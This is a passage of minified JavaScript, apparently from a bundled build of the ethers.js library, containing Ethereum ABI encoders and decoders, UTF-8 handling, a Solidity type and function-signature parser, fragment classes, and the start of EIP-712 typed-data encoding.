ot(e,t){let n=[],r=[],a=e.subReader(0);return t.forEach((t=>{let i=null;if(t.dynamic){let n=e.readIndex(),r=a.subReader(n);try{i=t.decode(r)}catch(s){if(c(s,"BUFFER_OVERRUN"))throw s;i=s,i.baseType=t.name,i.name=t.localName,i.type=t.type}}else try{i=t.decode(e)}catch(s){if(c(s,"BUFFER_OVERRUN"))throw s;i=s,i.baseType=t.name,i.name=t.localName,i.type=t.type}if(void 0==i)throw new Error("investigate");n.push(i),r.push(t.localName||null)})),$.fromItems(n,r)}class lt extends te{coder;length;constructor(e,t,n){super("array",e.type+"["+(t>=0?t:"")+"]",n,-1===t||e.dynamic),l(this,{coder:e,length:t})}defaultValue(){const e=this.coder.defaultValue(),t=[];for(let n=0;n<this.length;n++)t.push(e);return t}encode(e,t){const n=rt.dereference(t,"array");Array.isArray(n)||this._throwError("expected array value",n);let r=this.length;-1===r&&(r=n.length,e.writeValue(n.length)),g(n.length,r,"coder array"+(this.localName?" "+this.localName:""));let a=[];for(let i=0;i<n.length;i++)a.push(this.coder);return st(e,a,n)}decode(e){let t=this.length;-1===t&&(t=e.readIndex(),h(t*Q<=e.dataLength,"insufficient data length","BUFFER_OVERRUN",{buffer:e.bytes,offset:t*Q,length:e.dataLength}));let n=[];for(let r=0;r<t;r++)n.push(new it(this.coder));return ot(e,n)}}class ut extends te{constructor(e){super("bool","bool",e,!1)}defaultValue(){return!1}encode(e,t){const n=rt.dereference(t,"bool");return e.writeValue(n?1:0)}decode(e){return!!e.readValue()}}class ct extends te{constructor(e,t){super(e,e,t,!0)}defaultValue(){return"0x"}encode(e,t){t=v(t);let n=e.writeValue(t.length);return n+=e.writeBytes(t),n}decode(e){return e.readBytes(e.readIndex(),!0)}}class ft extends ct{constructor(e){super("bytes",e)}decode(e){return S(super.decode(e))}}class dt extends te{size;constructor(e,t){let n="bytes"+String(e);super(n,n,t,!1),l(this,{size:e},{size:"number"})}defaultValue(){return"0x0000000000000000000000000000000000000000000000000000000000000000".substring(0,2+2*this.size)}encode(e,t){let n=v(rt.dereference(t,this.type));return n.length!==this.size&&this._throwError("incorrect data length",t),e.writeBytes(n)}decode(e){return S(e.readBytes(this.size))}}const ht=new Uint8Array([]);class pt extends te{constructor(e){super("null","",e,!1)}defaultValue(){return null}encode(e,t){return null!=t&&this._throwError("not null",t),e.writeBytes(ht)}decode(e){return e.readBytes(0),null}}const gt=BigInt(0),mt=BigInt(1),yt=BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff");class bt extends te{size;signed;constructor(e,t,n){const r=(t?"int":"uint")+8*e;super(r,r,n,!1),l(this,{size:e,signed:t},{size:"number",signed:"boolean"})}defaultValue(){return 0}encode(e,t){let n=D(rt.dereference(t,this.type)),r=L(yt,256);if(this.signed){let e=L(r,8*this.size-1);(n>e||n<-(e+mt))&&this._throwError("value out-of-bounds",t),n=F(n,256)}else(n<gt||n>L(r,8*this.size))&&this._throwError("value out-of-bounds",t);return e.writeValue(n)}decode(e){let t=L(e.readValue(),8*this.size);return this.signed&&(t=B(t,8*this.size)),t}}function wt(e,t,n,r,a){if("BAD_PREFIX"===e||"UNEXPECTED_CONTINUE"===e){let e=0;for(let r=t+1;r<n.length&&n[r]>>6===2;r++)e++;return e}return"OVERRUN"===e?n.length-t-1:0}const vt=Object.freeze({error:function(e,t,n,r,a){p(!1,`invalid codepoint at offset ${t}; ${e}`,"bytes",n)},ignore:wt,replace:function(e,t,n,r,a){return"OVERLONG"===e?(p("number"===typeof a,"invalid bad code point for replacement","badCodepoint",a),r.push(a),0):(r.push(65533),wt(e,t,n))}});function At(e,t){null==t&&(t=vt.error);const n=w(e,"bytes"),r=[];let a=0;for(;a<n.length;){const e=n[a++];if(e>>7===0){r.push(e);continue}let i=null,s=null;if(192===(224&e))i=1,s=127;else if(224===(240&e))i=2,s=2047;else{if(240!==(248&e)){a+=t(128===(192&e)?"UNEXPECTED_CONTINUE":"BAD_PREFIX",a-1,n,r);continue}i=3,s=65535}if(a-1+i>=n.length){a+=t("OVERRUN",a-1,n,r);continue}let o=e&(1<<8-i-1)-1;for(let l=0;l<i;l++){let e=n[a];if(128!=(192&e)){a+=t("MISSING_CONTINUE",a,n,r),o=null;break}o=o<<6|63&e,a++}null!==o&&(o>1114111?a+=t("OUT_OF_RANGE",a-1-i,n,r,o):o>=55296&&o<=57343?a+=t("UTF16_SURROGATE",a-1-i,n,r,o):o<=s?a+=t("OVERLONG",a-1-i,n,r,o):r.push(o))}return r}function kt(e,t){p("string"===typeof e,"invalid string value","str",e),null!=t&&(!function(e){h(m.indexOf(e)>=0,"platform missing String.prototype.normalize","UNSUPPORTED_OPERATION",{operation:"String.prototype.normalize",info:{form:e}})}(t),e=e.normalize(t));let n=[];for(let r=0;r<e.length;r++){const t=e.charCodeAt(r);if(t<128)n.push(t);else if(t<2048)n.push(t>>6|192),n.push(63&t|128);else if(55296==(64512&t)){r++;const a=e.charCodeAt(r);p(r<e.length&&56320===(64512&a),"invalid surrogate pair","str",e);const i=65536+((1023&t)<<10)+(1023&a);n.push(i>>18|240),n.push(i>>12&63|128),n.push(i>>6&63|128),n.push(63&i|128)}else n.push(t>>12|224),n.push(t>>6&63|128),n.push(63&t|128)}return new Uint8Array(n)}function Et(e,t){return At(e,t).map((e=>e<=65535?String.fromCharCode(e):(e-=65536,String.fromCharCode(55296+(e>>10&1023),56320+(1023&e))))).join("")}class St extends ct{constructor(e){super("string",e)}defaultValue(){return""}encode(e,t){return super.encode(e,kt(rt.dereference(t,"string")))}decode(e){return Et(super.decode(e))}}class xt extends te{coders;constructor(e,t){let n=!1;const r=[];e.forEach((e=>{e.dynamic&&(n=!0),r.push(e.type)}));super("tuple","tuple("+r.join(",")+")",t,n),l(this,{coders:Object.freeze(e.slice())})}defaultValue(){const e=[];this.coders.forEach((t=>{e.push(t.defaultValue())}));const t=this.coders.reduce(((e,t)=>{const n=t.localName;return n&&(e[n]||(e[n]=0),e[n]++),e}),{});return this.coders.forEach(((n,r)=>{let a=n.localName;a&&1===t[a]&&("length"===a&&(a="_length"),null==e[a]&&(e[a]=e[r]))})),Object.freeze(e)}encode(e,t){const n=rt.dereference(t,"tuple");return st(e,this.coders,n)}decode(e){return ot(e,this.coders)}}function Pt(e){return Ve(kt(e))}function Ct(e){const t=new Set;return e.forEach((e=>t.add(e))),Object.freeze(t)}const Nt=Ct("external public payable override".split(" ")),Ot="constant external internal payable private public pure view override",Tt=Ct(Ot.split(" ")),Rt="constructor error event fallback function receive struct",It=Ct(Rt.split(" ")),Bt="calldata memory storage payable indexed",Ft=Ct(Bt.split(" ")),Lt=Ct([Rt,Bt,"tuple returns",Ot].join(" ").split(" ")),Dt={"(":"OPEN_PAREN",")":"CLOSE_PAREN","[":"OPEN_BRACKET","]":"CLOSE_BRACKET",",":"COMMA","@":"AT"},Ut=new RegExp("^(\\s*)"),Mt=new RegExp("^([0-9]+)"),zt=new RegExp("^([a-zA-Z$_][a-zA-Z0-9$_]*)"),_t=new RegExp("^([a-zA-Z$_][a-zA-Z0-9$_]*)$"),Ht=new RegExp("^(address|bool|bytes([0-9]*)|string|u?int([0-9]*))$");class jt{#a;#f;get offset(){return this.#a}get length(){return this.#f.length-this.#a}constructor(e){this.#a=0,this.#f=e.slice()}clone(){return new jt(this.#f)}reset(){this.#a=0}#d(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;return new jt(this.#f.slice(e,t).map((t=>Object.freeze(Object.assign({},t,{match:t.match-e,linkBack:t.linkBack-e,linkNext:t.linkNext-e})))))}popKeyword(e){const t=this.peek();if("KEYWORD"!==t.type||!e.has(t.text))throw new Error(`expected keyword ${t.text}`);return this.pop().text}popType(e){if(this.peek().type!==e){const t=this.peek();throw new Error(`expected ${e}; got ${t.type} ${JSON.stringify(t.text)}`)}return this.pop().text}popParen(){const e=this.peek();if("OPEN_PAREN"!==e.type)throw new Error("bad start");const t=this.#d(this.#a+1,e.match+1);return this.#a=e.match+1,t}popParams(){const e=this.peek();if("OPEN_PAREN"!==e.type)throw new Error("bad start");const t=[];for(;this.#a<e.match-1;){const e=this.peek().linkNext;t.push(this.#d(this.#a+1,e)),this.#a=e}return this.#a=e.match+1,t}peek(){if(this.#a>=this.#f.length)throw new Error("out-of-bounds");return this.#f[this.#a]}peekKeyword(e){const t=this.peekType("KEYWORD");return null!=t&&e.has(t)?t:null}peekType(e){if(0===this.length)return null;const t=this.peek();return t.type===e?t.text:null}pop(){const e=this.peek();return this.#a++,e}toString(){const e=[];for(let t=this.#a;t<this.#f.length;t++){const n=this.#f[t];e.push(`${n.type}:${n.text}`)}return`<TokenString ${e.join(" ")}>`}}function Gt(e){const t=[],n=t=>{const n=i<e.length?JSON.stringify(e[i]):"$EOI";throw new Error(`invalid token ${n} at ${i}: ${t}`)};let r=[],a=[],i=0;for(;i<e.length;){let s=e.substring(i),o=s.match(Ut);o&&(i+=o[1].length,s=e.substring(i));const l={depth:r.length,linkBack:-1,linkNext:-1,match:-1,type:"",text:"",offset:i,value:-1};t.push(l);let u=Dt[s[0]]||"";if(u){if(l.type=u,l.text=s[0],i++,"OPEN_PAREN"===u)r.push(t.length-1),a.push(t.length-1);else if("CLOSE_PAREN"==u)0===r.length&&n("no matching open bracket"),l.match=r.pop(),t[l.match].match=t.length-1,l.depth--,l.linkBack=a.pop(),t[l.linkBack].linkNext=t.length-1;else if("COMMA"===u)l.linkBack=a.pop(),t[l.linkBack].linkNext=t.length-1,a.push(t.length-1);else if("OPEN_BRACKET"===u)l.type="BRACKET";else if("CLOSE_BRACKET"===u){let e=t.pop().text;if(t.length>0&&"NUMBER"===t[t.length-1].type){const n=t.pop().text;e=n+e,t[t.length-1].value=_(n)}if(0===t.length||"BRACKET"!==t[t.length-1].type)throw new Error("missing opening bracket");t[t.length-1].text+=e}}else if(o=s.match(zt),o){if(l.text=o[1],i+=l.text.length,Lt.has(l.text)){l.type="KEYWORD";continue}if(l.text.match(Ht)){l.type="TYPE";continue}l.type="ID"}else{if(o=s.match(Mt),!o)throw new Error(`unexpected token ${JSON.stringify(s[0])} at position ${i}`);l.text=o[1],l.type="NUMBER",i+=l.text.length}}return new jt(t.map((e=>Object.freeze(e))))}function Qt(e,t){let n=[];for(const r in t.keys())e.has(r)&&n.push(r);if(n.length>1)throw new Error(`conflicting types: ${n.join(", ")}`)}function Vt(e,t){if(t.peekKeyword(It)){const n=t.pop().text;if(n!==e)throw new Error(`expected ${e}, got ${n}`)}return t.popType("ID")}function Jt(e,t){const n=new Set;for(;;){const r=e.peekType("KEYWORD");if(null==r||t&&!t.has(r))break;if(e.pop(),n.has(r))throw new Error(`duplicate keywords: ${JSON.stringify(r)}`);n.add(r)}return Object.freeze(n)}function qt(e){let t=Jt(e,Tt);return Qt(t,Ct("constant payable nonpayable".split(" "))),Qt(t,Ct("pure view payable nonpayable".split(" "))),t.has("view")?"view":t.has("pure")?"pure":t.has("payable")?"payable":t.has("nonpayable")?"nonpayable":t.has("constant")?"view":"nonpayable"}function Kt(e,t){return e.popParams().map((e=>un.from(e,t)))}function Wt(e){if(e.peekType("AT")){if(e.pop(),e.peekType("NUMBER"))return D(e.pop().text);throw new Error("invalid gas")}return null}function Yt(e){if(e.length)throw new Error(`unexpected tokens at offset ${e.offset}: ${e.toString()}`)}const Zt=new RegExp(/^(.*)\[([0-9]*)\]$/);function Xt(e){const t=e.match(Ht);if(p(t,"invalid type","type",e),"uint"===e)return"uint256";if("int"===e)return"int256";if(t[2]){const n=parseInt(t[2]);p(0!==n&&n<=32,"invalid bytes length","type",e)}else if(t[3]){const n=parseInt(t[3]);p(0!==n&&n<=256&&n%8===0,"invalid numeric width","type",e)}return e}const $t={},en=Symbol.for("_ethers_internal"),tn="_ParamTypeInternal",nn="_ErrorInternal",rn="_EventInternal",an="_ConstructorInternal",sn="_FallbackInternal",on="_FunctionInternal",ln="_StructInternal";class un{name;type;baseType;indexed;components;arrayLength;arrayChildren;constructor(e,t,n,r,a,i,s,o){if(y(e,$t,"ParamType"),Object.defineProperty(this,en,{value:tn}),i&&(i=Object.freeze(i.slice())),"array"===r){if(null==s||null==o)throw new Error("")}else if(null!=s||null!=o)throw new Error("");if("tuple"===r){if(null==i)throw new Error("")}else if(null!=i)throw new Error("");l(this,{name:t,type:n,baseType:r,indexed:a,components:i,arrayLength:s,arrayChildren:o})}format(e){if(null==e&&(e="sighash"),"json"===e){const t=this.name||"";if(this.isArray()){const e=JSON.parse(this.arrayChildren.format("json"));return e.name=t,e.type+=`[${this.arrayLength<0?"":String(this.arrayLength)}]`,JSON.stringify(e)}const n={type:"tuple"===this.baseType?"tuple":this.type,name:t};return"boolean"===typeof this.indexed&&(n.indexed=this.indexed),this.isTuple()&&(n.components=this.components.map((t=>JSON.parse(t.format(e))))),JSON.stringify(n)}let t="";return this.isArray()?(t+=this.arrayChildren.format(e),t+=`[${this.arrayLength<0?"":String(this.arrayLength)}]`):this.isTuple()?t+="("+this.components.map((t=>t.format(e))).join("full"===e?", ":",")+")":t+=this.type,"sighash"!==e&&(!0===this.indexed&&(t+=" indexed"),"full"===e&&this.name&&(t+=" "+this.name)),t}isArray(){return"array"===this.baseType}isTuple(){return"tuple"===this.baseType}isIndexable(){return null!=this.indexed}walk(e,t){if(this.isArray()){if(!Array.isArray(e))throw new Error("invalid array value");if(-1!==this.arrayLength&&e.length!==this.arrayLength)throw new Error("array is wrong length");const n=this;return e.map((e=>n.arrayChildren.walk(e,t)))}if(this.isTuple()){if(!Array.isArray(e))throw new Error("invalid tuple value");if(e.length!==this.components.length)throw new Error("array is wrong length");const n=this;return e.map(((e,r)=>n.components[r].walk(e,t)))}return t(this.type,e)}#h(e,t,n,r){if(this.isArray()){if(!Array.isArray(t))throw new Error("invalid array value");if(-1!==this.arrayLength&&t.length!==this.arrayLength)throw new Error("array is wrong length");const a=this.arrayChildren,i=t.slice();return i.forEach(((t,r)=>{a.#h(e,t,n,(e=>{i[r]=e}))})),void r(i)}if(this.isTuple()){const a=this.components;let i;if(Array.isArray(t))i=t.slice();else{if(null==t||"object"!==typeof t)throw new Error("invalid tuple value");i=a.map((e=>{if(!e.name)throw new Error("cannot use object value with unnamed components");if(!(e.name in t))throw new Error(`missing value for component ${e.name}`);return t[e.name]}))}if(i.length!==this.components.length)throw new Error("array is wrong length");return i.forEach(((t,r)=>{a[r].#h(e,t,n,(e=>{i[r]=e}))})),void r(i)}const a=n(this.type,t);a.then?e.push(async function(){r(await a)}()):r(a)}async walkAsync(e,t){const n=[],r=[e];return this.#h(n,e,t,(e=>{r[0]=e})),n.length&&await Promise.all(n),r[0]}static from(e,t){if(un.isParamType(e))return e;if("string"===typeof e)try{return un.from(Gt(e),t)}catch(s){p(!1,"invalid param type","obj",e)}else if(e instanceof jt){let n="",r="",a=null;Jt(e,Ct(["tuple"])).has("tuple")||e.peekType("OPEN_PAREN")?(r="tuple",a=e.popParams().map((e=>un.from(e))),n=`tuple(${a.map((e=>e.format())).join(",")})`):(n=Xt(e.popType("TYPE")),r=n);let i=null,s=null;for(;e.length&&e.peekType("BRACKET");){const t=e.pop();i=new un($t,"",n,r,null,a,s,i),s=t.value,n+=t.text,r="array",a=null}let o=null;if(Jt(e,Ft).has("indexed")){if(!t)throw new Error("");o=!0}const l=e.peekType("ID")?e.pop().text:"";if(e.length)throw new Error("leftover tokens");return new un($t,l,n,r,o,a,s,i)}const n=e.name;p(!n||"string"===typeof n&&n.match(_t),"invalid name","obj.name",n);let r=e.indexed;null!=r&&(p(t,"parameter cannot be indexed","obj.indexed",e.indexed),r=!!r);let a=e.type,i=a.match(Zt);if(i){const t=parseInt(i[2]||"-1"),s=un.from({type:i[1],components:e.components});return new un($t,n||"",a,"array",r,null,t,s)}if("tuple"===a||a.startsWith("tuple(")||a.startsWith("(")){const t=null!=e.components?e.components.map((e=>un.from(e))):null;return new un($t,n||"",a,"tuple",r,t,null,null)}return a=Xt(e.type),new un($t,n||"",a,a,r,null,null,null)}static isParamType(e){return e&&e[en]===tn}}class cn{type;inputs;constructor(e,t,n){y(e,$t,"Fragment"),l(this,{type:t,inputs:n=Object.freeze(n.slice())})}static from(e){if("string"===typeof e){try{cn.from(JSON.parse(e))}catch(t){}return cn.from(Gt(e))}if(e instanceof jt){switch(e.peekKeyword(It)){case"constructor":return gn.from(e);case"error":return hn.from(e);case"event":return pn.from(e);case"fallback":case"receive":return mn.from(e);case"function":return yn.from(e);case"struct":return bn.from(e)}}else if("object"===typeof e){switch(e.type){case"constructor":return gn.from(e);case"error":return hn.from(e);case"event":return pn.from(e);case"fallback":case"receive":return mn.from(e);case"function":return yn.from(e);case"struct":return bn.from(e)}h(!1,`unsupported type: ${e.type}`,"UNSUPPORTED_OPERATION",{operation:"Fragment.from"})}p(!1,"unsupported frgament object","obj",e)}static isConstructor(e){return gn.isFragment(e)}static isError(e){return hn.isFragment(e)}static isEvent(e){return pn.isFragment(e)}static isFunction(e){return yn.isFragment(e)}static isStruct(e){return bn.isFragment(e)}}class fn extends cn{name;constructor(e,t,n,r){super(e,t,r),p("string"===typeof n&&n.match(_t),"invalid identifier","name",n),r=Object.freeze(r.slice()),l(this,{name:n})}}function dn(e,t){return"("+t.map((t=>t.format(e))).join("full"===e?", ":",")+")"}class hn extends fn{constructor(e,t,n){super(e,"error",t,n),Object.defineProperty(this,en,{value:nn})}get selector(){return Pt(this.format("sighash")).substring(0,10)}format(e){if(null==e&&(e="sighash"),"json"===e)return JSON.stringify({type:"error",name:this.name,inputs:this.inputs.map((t=>JSON.parse(t.format(e))))});const t=[];return"sighash"!==e&&t.push("error"),t.push(this.name+dn(e,this.inputs)),t.join(" ")}static from(e){if(hn.isFragment(e))return e;if("string"===typeof e)return hn.from(Gt(e));if(e instanceof jt){const t=Vt("error",e),n=Kt(e);return Yt(e),new hn($t,t,n)}return new hn($t,e.name,e.inputs?e.inputs.map(un.from):[])}static isFragment(e){return e&&e[en]===nn}}class pn extends fn{anonymous;constructor(e,t,n,r){super(e,"event",t,n),Object.defineProperty(this,en,{value:rn}),l(this,{anonymous:r})}get topicHash(){return Pt(this.format("sighash"))}format(e){if(null==e&&(e="sighash"),"json"===e)return JSON.stringify({type:"event",anonymous:this.anonymous,name:this.name,inputs:this.inputs.map((t=>JSON.parse(t.format(e))))});const t=[];return"sighash"!==e&&t.push("event"),t.push(this.name+dn(e,this.inputs)),"sighash"!==e&&this.anonymous&&t.push("anonymous"),t.join(" ")}static getTopicHash(e,t){t=(t||[]).map((e=>un.from(e)));return new pn($t,e,t,!1).topicHash}static from(e){if(pn.isFragment(e))return e;if("string"===typeof e)try{return pn.from(Gt(e))}catch(t){p(!1,"invalid event fragment","obj",e)}else if(e instanceof jt){const t=Vt("event",e),n=Kt(e,!0),r=!!Jt(e,Ct(["anonymous"])).has("anonymous");return Yt(e),new pn($t,t,n,r)}return new pn($t,e.name,e.inputs?e.inputs.map((e=>un.from(e,!0))):[],!!e.anonymous)}static isFragment(e){return e&&e[en]===rn}}class gn extends cn{payable;gas;constructor(e,t,n,r,a){super(e,t,n),Object.defineProperty(this,en,{value:an}),l(this,{payable:r,gas:a})}format(e){if(h(null!=e&&"sighash"!==e,"cannot format a constructor for sighash","UNSUPPORTED_OPERATION",{operation:"format(sighash)"}),"json"===e)return JSON.stringify({type:"constructor",stateMutability:this.payable?"payable":"undefined",payable:this.payable,gas:null!=this.gas?this.gas:void 0,inputs:this.inputs.map((t=>JSON.parse(t.format(e))))});const t=[`constructor${dn(e,this.inputs)}`];return this.payable&&t.push("payable"),null!=this.gas&&t.push(`@${this.gas.toString()}`),t.join(" ")}static from(e){if(gn.isFragment(e))return e;if("string"===typeof e)try{return gn.from(Gt(e))}catch(t){p(!1,"invalid constuctor fragment","obj",e)}else if(e instanceof jt){Jt(e,Ct(["constructor"]));const t=Kt(e),n=!!Jt(e,Nt).has("payable"),r=Wt(e);return Yt(e),new gn($t,"constructor",t,n,r)}return new gn($t,"constructor",e.inputs?e.inputs.map(un.from):[],!!e.payable,null!=e.gas?e.gas:null)}static isFragment(e){return e&&e[en]===an}}class mn extends cn{payable;constructor(e,t,n){super(e,"fallback",t),Object.defineProperty(this,en,{value:sn}),l(this,{payable:n})}format(e){const t=0===this.inputs.length?"receive":"fallback";if("json"===e){const e=this.payable?"payable":"nonpayable";return JSON.stringify({type:t,stateMutability:e})}return`${t}()${this.payable?" payable":""}`}static from(e){if(mn.isFragment(e))return e;if("string"===typeof e)try{return mn.from(Gt(e))}catch(t){p(!1,"invalid fallback fragment","obj",e)}else if(e instanceof jt){const t=e.toString();p(e.peekKeyword(Ct(["fallback","receive"])),"type must be fallback or receive","obj",t);if("receive"===e.popKeyword(Ct(["fallback","receive"]))){const t=Kt(e);return p(0===t.length,"receive cannot have arguments","obj.inputs",t),Jt(e,Ct(["payable"])),Yt(e),new mn($t,[],!0)}let n=Kt(e);n.length?p(1===n.length&&"bytes"===n[0].type,"invalid fallback inputs","obj.inputs",n.map((e=>e.format("minimal"))).join(", ")):n=[un.from("bytes")];const r=qt(e);if(p("nonpayable"===r||"payable"===r,"fallback cannot be constants","obj.stateMutability",r),Jt(e,Ct(["returns"])).has("returns")){const t=Kt(e);p(1===t.length&&"bytes"===t[0].type,"invalid fallback outputs","obj.outputs",t.map((e=>e.format("minimal"))).join(", "))}return Yt(e),new mn($t,n,"payable"===r)}if("receive"===e.type)return new mn($t,[],!0);if("fallback"===e.type){const t=[un.from("bytes")],n="payable"===e.stateMutability;return new mn($t,t,n)}p(!1,"invalid fallback description","obj",e)}static isFragment(e){return e&&e[en]===sn}}class yn extends fn{constant;outputs;stateMutability;payable;gas;constructor(e,t,n,r,a,i){super(e,"function",t,r),Object.defineProperty(this,en,{value:on});l(this,{constant:"view"===n||"pure"===n,gas:i,outputs:a=Object.freeze(a.slice()),payable:"payable"===n,stateMutability:n})}get selector(){return Pt(this.format("sighash")).substring(0,10)}format(e){if(null==e&&(e="sighash"),"json"===e)return JSON.stringify({type:"function",name:this.name,constant:this.constant,stateMutability:"nonpayable"!==this.stateMutability?this.stateMutability:void 0,payable:this.payable,gas:null!=this.gas?this.gas:void 0,inputs:this.inputs.map((t=>JSON.parse(t.format(e)))),outputs:this.outputs.map((t=>JSON.parse(t.format(e))))});const t=[];return"sighash"!==e&&t.push("function"),t.push(this.name+dn(e,this.inputs)),"sighash"!==e&&("nonpayable"!==this.stateMutability&&t.push(this.stateMutability),this.outputs&&this.outputs.length&&(t.push("returns"),t.push(dn(e,this.outputs))),null!=this.gas&&t.push(`@${this.gas.toString()}`)),t.join(" ")}static getSelector(e,t){t=(t||[]).map((e=>un.from(e)));return new yn($t,e,"view",t,[],null).selector}static from(e){if(yn.isFragment(e))return e;if("string"===typeof e)try{return yn.from(Gt(e))}catch(n){p(!1,"invalid function fragment","obj",e)}else if(e instanceof jt){const t=Vt("function",e),n=Kt(e),r=qt(e);let a=[];Jt(e,Ct(["returns"])).has("returns")&&(a=Kt(e));const i=Wt(e);return Yt(e),new yn($t,t,r,n,a,i)}let t=e.stateMutability;return null==t&&(t="payable","boolean"===typeof e.constant?(t="view",e.constant||(t="payable","boolean"!==typeof e.payable||e.payable||(t="nonpayable"))):"boolean"!==typeof e.payable||e.payable||(t="nonpayable")),new yn($t,e.name,t,e.inputs?e.inputs.map(un.from):[],e.outputs?e.outputs.map(un.from):[],null!=e.gas?e.gas:null)}static isFragment(e){return e&&e[en]===on}}class bn extends fn{constructor(e,t,n){super(e,"struct",t,n),Object.defineProperty(this,en,{value:ln})}format(){throw new Error("@TODO")}static from(e){if("string"===typeof e)try{return bn.from(Gt(e))}catch(t){p(!1,"invalid struct fragment","obj",e)}else if(e instanceof jt){const t=Vt("struct",e),n=Kt(e);return Yt(e),new bn($t,t,n)}return new bn($t,e.name,e.inputs?e.inputs.map(un.from):[])}static isFragment(e){return e&&e[en]===ln}}const wn=new Map;wn.set(0,"GENERIC_PANIC"),wn.set(1,"ASSERT_FALSE"),wn.set(17,"OVERFLOW"),wn.set(18,"DIVIDE_BY_ZERO"),wn.set(33,"ENUM_RANGE_ERROR"),wn.set(34,"BAD_STORAGE_DATA"),wn.set(49,"STACK_UNDERFLOW"),wn.set(50,"ARRAY_RANGE_ERROR"),wn.set(65,"OUT_OF_MEMORY"),wn.set(81,"UNINITIALIZED_FUNCTION_CALL");const vn=new RegExp(/^bytes([0-9]*)$/),An=new RegExp(/^(u?int)([0-9]*)$/);let kn=null,En=1024;class Sn{#p(e){if(e.isArray())return new lt(this.#p(e.arrayChildren),e.arrayLength,e.name);if(e.isTuple())return new xt(e.components.map((e=>this.#p(e))),e.name);switch(e.baseType){case"address":return new at(e.name);case"bool":return new ut(e.name);case"string":return new St(e.name);case"bytes":return new ft(e.name);case"":return new pt(e.name)}let t=e.type.match(An);if(t){let n=parseInt(t[2]||"256");return p(0!==n&&n<=256&&n%8===0,"invalid "+t[1]+" bit length","param",e),new bt(n/8,"int"===t[1],e.name)}if(t=e.type.match(vn),t){let n=parseInt(t[1]);return p(0!==n&&n<=32,"invalid bytes length","param",e),new dt(n,e.name)}p(!1,"invalid type","type",e.type)}getDefaultValue(e){const t=e.map((e=>this.#p(un.from(e))));return new xt(t,"_").defaultValue()}encode(e,t){g(t.length,e.length,"types/values length mismatch");const n=e.map((e=>this.#p(un.from(e)))),r=new xt(n,"_"),a=new ne;return r.encode(a,t),a.data}decode(e,t,n){const r=e.map((e=>this.#p(un.from(e))));return new xt(r,"_").decode(new re(t,n,En))}static _setDefaultMaxInflation(e){p("number"===typeof e&&Number.isInteger(e),"invalid defaultMaxInflation factor","value",e),En=e}static defaultAbiCoder(){return null==kn&&(kn=new Sn),kn}static getBuiltinCallException(e,t,n){return function(e,t,n,r){let a="missing revert data",i=null,s=null;if(n){a="execution reverted";const e=w(n);if(n=S(n),0===e.length)a+=" (no data present; likely require(false) occurred",i="require(false)";else if(e.length%32!==4)a+=" (could not decode reason; invalid data length)";else if("0x08c379a0"===S(e.slice(0,4)))try{i=r.decode(["string"],e.slice(4))[0],s={signature:"Error(string)",name:"Error",args:[i]},a+=`: ${JSON.stringify(i)}`}catch(l){a+=" (could not decode reason; invalid string data)"}else if("0x4e487b71"===S(e.slice(0,4)))try{const t=Number(r.decode(["uint256"],e.slice(4))[0]);s={signature:"Panic(uint256)",name:"Panic",args:[t]},i=`Panic due to ${wn.get(t)||"UNKNOWN"}(${t})`,a+=`: ${i}`}catch(l){a+=" (could not decode panic code)"}else a+=" (unknown custom error)"}const o={to:t.to?Xe(t.to):null,data:t.data||"0x"};return t.from&&(o.from=Xe(t.from)),d(a,"CALL_EXCEPTION",{action:e,data:n,reason:i,transaction:o,invocation:null,revert:s})}(e,t,n,Sn.defaultAbiCoder())}}function xn(e){return e&&"function"===typeof e.getAddress}async function Pn(e,t){const n=await t;return null!=n&&"0x0000000000000000000000000000000000000000"!==n||(h("string"!==typeof e,"unconfigured name","UNCONFIGURED_NAME",{value:e}),p(!1,"invalid AddressLike value; did not resolve to a value address","target",e)),Xe(n)}function Cn(e,t){return"string"===typeof e?e.match(/^0x[0-9a-f]{40}$/i)?Xe(e):(h(null!=t,"ENS resolution requires a provider","UNSUPPORTED_OPERATION",{operation:"resolveName"}),Pn(e,t.resolveName(e))):xn(e)?Pn(e,e.getAddress()):e&&"function"===typeof e.then?Pn(e,e):void p(!1,"unsupported addressable value","target",e)}const Nn=new Uint8Array(32);Nn.fill(0);const On=BigInt(-1),Tn=BigInt(0),Rn=BigInt(1),In=BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff");const Bn=H(Rn,32),Fn=H(Tn,32),Ln={name:"string",version:"string",chainId:"uint256",verifyingContract:"address",salt:"bytes32"},Dn=["name","version","chainId","verifyingContract","salt"];function Un(e){return function(t){return p("string"===typeof t,`invalid domain value for ${JSON.stringify(e)}`,`domain.${e}`,t),t}}const Mn={name:Un("name"),version:Un("version"),chainId:function(e){const t=D(e,"domain.chainId");return p(t>=0,"invalid chain ID","domain.chainId",e),Number.isSafeInteger(t)?Number(t):G(t)},verifyingContract:function(e){try{return Xe(e).toLowerCase()}catch(t){}p(!1,'invalid domain value "verifyingContract"',"domain.verifyingContract",e)},salt:function(e){const t=w(e,"domain.salt");return p(32===t.length,'invalid domain value "salt"',"domain.salt",e),S(t)}};function zn(e){{const t=e.match(/^(u?)int(\d+)$/);if(t){const n=""===t[1],r=parseInt(t[2]);p(r%8===0&&0!==r&&r<=256&&t[2]===String(r),"invalid numeric width","type",e);const a=L(In,n?r-1:r),i=n?(a+Rn)*On:Tn;return function(t){const r=D(t,"value");return p(r>=i&&r<=a,`value out-of-bounds for ${e}`,"value",r),H(n?F(r,256):r,32)}}}{const t=e.match(/^bytes(\d+)$/);if(t){const n=parseInt(t[1]);return p(0!==n&&n<=32&&t[1]===String(n),"invalid bytes width","type",e),function(t){return p(w(t).length===n,`invalid length for ${e}`,"value",t),function(e){const t=w(e),n=t.length%32;return n?x([t,Nn.slice(n)]):S(t)}(t)}}}switch(e){case"address":return function(e){return O(Xe(e),32)};case"bool":return function(e){return e?Bn:Fn};case"bytes":return function(e){return Ve(e)};case"string":return function(e){return Pt(e)}}return null}function _n(e,t){return`${e}(${t.map((e=>{let{name:t,type:n}=e;return n+" "+t})).join(",")})`}function Hn(e){const t=e.match(/^([^\x5b]*)((\x5b\d*\x5d)*)(\x5b(\d*)\x5d)$/);return t?{base:t[1],index:t[2]+t[4],array:{base:t[1],prefix:t[1]+t[2],count:t[5]?parseInt(t[5]):-1}}:{base:e}}class jn{primaryType;#g;get types(){return JSON.parse(this.#g)}#m;#y;constructor(e){this.#m=new Map,this.#y=new Map;const t=new Map,n=new 